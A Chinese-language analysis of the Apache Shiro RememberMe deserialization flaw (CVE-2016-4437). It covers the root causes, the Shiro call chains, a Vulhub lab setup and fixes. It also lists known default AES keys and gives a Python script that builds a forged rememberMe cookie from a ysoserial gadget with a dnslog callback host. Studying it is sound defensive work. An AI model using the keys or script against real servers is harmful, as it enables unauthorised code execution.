CVE-2016-4437(Apache Shiro)
字数 1411 2025-08-11 08:36:35

Apache Shiro 反序列化漏洞(CVE-2016-4437)深度分析

漏洞概述

Apache Shiro是一个功能强大且易于使用的Java安全框架,用于进行身份验证、授权、加密和会话管理等安全操作。2016年曝光的CVE-2016-4437漏洞影响Shiro 1.2.4及以下版本,该漏洞源于Shiro的"记住我"(RememberMe)功能中存在不安全的反序列化实现。

影响版本

  • Apache Shiro <= 1.2.4

漏洞原理

RememberMe功能机制

Shiro框架提供了"记住我"功能,用户登录成功后生成加密且编码过的Cookie,其生成过程为:

  1. 反序列化用户身份信息
  2. AES加密
  3. BASE64编码
  4. 设置为Cookie值

漏洞根源

  1. 硬编码AES密钥:Shiro使用固定的AES加密密钥,攻击者一旦获取密钥就能伪造RememberMe Cookie
  2. 不安全反序列化:在默认配置下,Shiro使用Java标准ObjectInputStream进行反序列化,可反序列化任何实现Serializable接口的对象

攻击流程

攻击者可构造恶意序列化对象:

  1. 序列化恶意对象
  2. 使用已知AES密钥加密
  3. BASE64编码后作为RememberMe Cookie发送
  4. 服务器反序列化时执行恶意代码

常用密钥列表

以下是常见的Shiro硬编码密钥(部分):

kPH+bIxk5D2deZiIxcaaaA==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
[...完整列表见原文...]

漏洞复现

环境搭建

使用Vulhub Docker环境:

docker-compose up -d

漏洞利用

  1. 使用工具自动化利用
  2. 或手动构造恶意RememberMe Cookie

技术细节分析

加密-序列化流程

  1. 入口点onSuccessfulLogin()方法
  2. 写入CookieforgetIdentity()方法在Response中写入Cookie
  3. 获取用户身份rememberIdentity()通过PrincipalCollection获取用户身份
  4. 序列化加密
    • convertPrincipalsToBytes()将用户身份序列化
    • 使用AES CBC模式加密(密钥来自AbstractRememberMeManager类)
  5. BASE64编码rememberSerializedIdentity()对加密数据进行BASE64编码并设置Cookie

完整流程:

onSuccessfulLogin() -> forgetIdentity() -> rememberIdentity() -> 
PrincipalCollection() -> convertPrincipalsToBytes() -> 
rememberSerializedIdentity()

解密-反序列化流程

  1. 入口点getRememberedIdentity()
  2. 获取Cookie值getRememberedPrincipals() -> getRememberedSerializedIdentity()
  3. BASE64解码:提取Cookie值并进行BASE64解码
  4. AES解密convertBytesToPrincipals() -> decrypt()
  5. 反序列化:最终对解密后的数据进行反序列化

完整流程:

getRememberedIdentity() -> getRememberedPrincipals() -> 
getRememberedSerializedIdentity() -> convertBytesToPrincipals() -> 
decrypt() -> deserialized()

漏洞利用脚本示例

import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

漏洞修复

官方修复方式:

  • 移除了硬编码的密钥,改为每次生成随机密钥
  • 从根本上解决了密钥固定的问题

防御措施

  1. 升级到最新版本Apache Shiro
  2. 如无法升级,确保不使用公开的默认密钥
  3. 实施网络层防护,监控异常反序列化行为

总结

CVE-2016-4437漏洞展示了硬编码密钥和不安全反序列化结合带来的严重风险。通过分析加密/解密流程,我们可以深入理解该漏洞的利用原理。防御的关键在于使用随机密钥和及时更新组件版本。

Apache Shiro 反序列化漏洞(CVE-2016-4437)深度分析 漏洞概述 Apache Shiro是一个功能强大且易于使用的Java安全框架,用于进行身份验证、授权、加密和会话管理等安全操作。2016年曝光的CVE-2016-4437漏洞影响Shiro 1.2.4及以下版本,该漏洞源于Shiro的"记住我"(RememberMe)功能中存在不安全的反序列化实现。 影响版本 Apache Shiro <= 1.2.4 漏洞原理 RememberMe功能机制 Shiro框架提供了"记住我"功能,用户登录成功后生成加密且编码过的Cookie,其生成过程为: 反序列化用户身份信息 AES加密 BASE64编码 设置为Cookie值 漏洞根源 硬编码AES密钥 :Shiro使用固定的AES加密密钥,攻击者一旦获取密钥就能伪造RememberMe Cookie 不安全反序列化 :在默认配置下,Shiro使用Java标准ObjectInputStream进行反序列化,可反序列化任何实现Serializable接口的对象 攻击流程 攻击者可构造恶意序列化对象: 序列化恶意对象 使用已知AES密钥加密 BASE64编码后作为RememberMe Cookie发送 服务器反序列化时执行恶意代码 常用密钥列表 以下是常见的Shiro硬编码密钥(部分): 漏洞复现 环境搭建 使用Vulhub Docker环境: 漏洞利用 使用工具自动化利用 或手动构造恶意RememberMe Cookie 技术细节分析 加密-序列化流程 入口点 : onSuccessfulLogin() 方法 写入Cookie : forgetIdentity() 方法在Response中写入Cookie 获取用户身份 : rememberIdentity() 通过 PrincipalCollection 获取用户身份 序列化加密 : convertPrincipalsToBytes() 将用户身份序列化 使用AES CBC模式加密(密钥来自 AbstractRememberMeManager 类) BASE64编码 : rememberSerializedIdentity() 对加密数据进行BASE64编码并设置Cookie 完整流程: 解密-反序列化流程 入口点 : getRememberedIdentity() 获取Cookie值 : getRememberedPrincipals() -> getRememberedSerializedIdentity() BASE64解码 :提取Cookie值并进行BASE64解码 AES解密 : convertBytesToPrincipals() -> decrypt() 反序列化 :最终对解密后的数据进行反序列化 完整流程: 漏洞利用脚本示例 漏洞修复 官方修复方式: 移除了硬编码的密钥,改为每次生成随机密钥 从根本上解决了密钥固定的问题 防御措施 升级到最新版本Apache Shiro 如无法升级,确保不使用公开的默认密钥 实施网络层防护,监控异常反序列化行为 总结 CVE-2016-4437漏洞展示了硬编码密钥和不安全反序列化结合带来的严重风险。通过分析加密/解密流程,我们可以深入理解该漏洞的利用原理。防御的关键在于使用随机密钥和及时更新组件版本。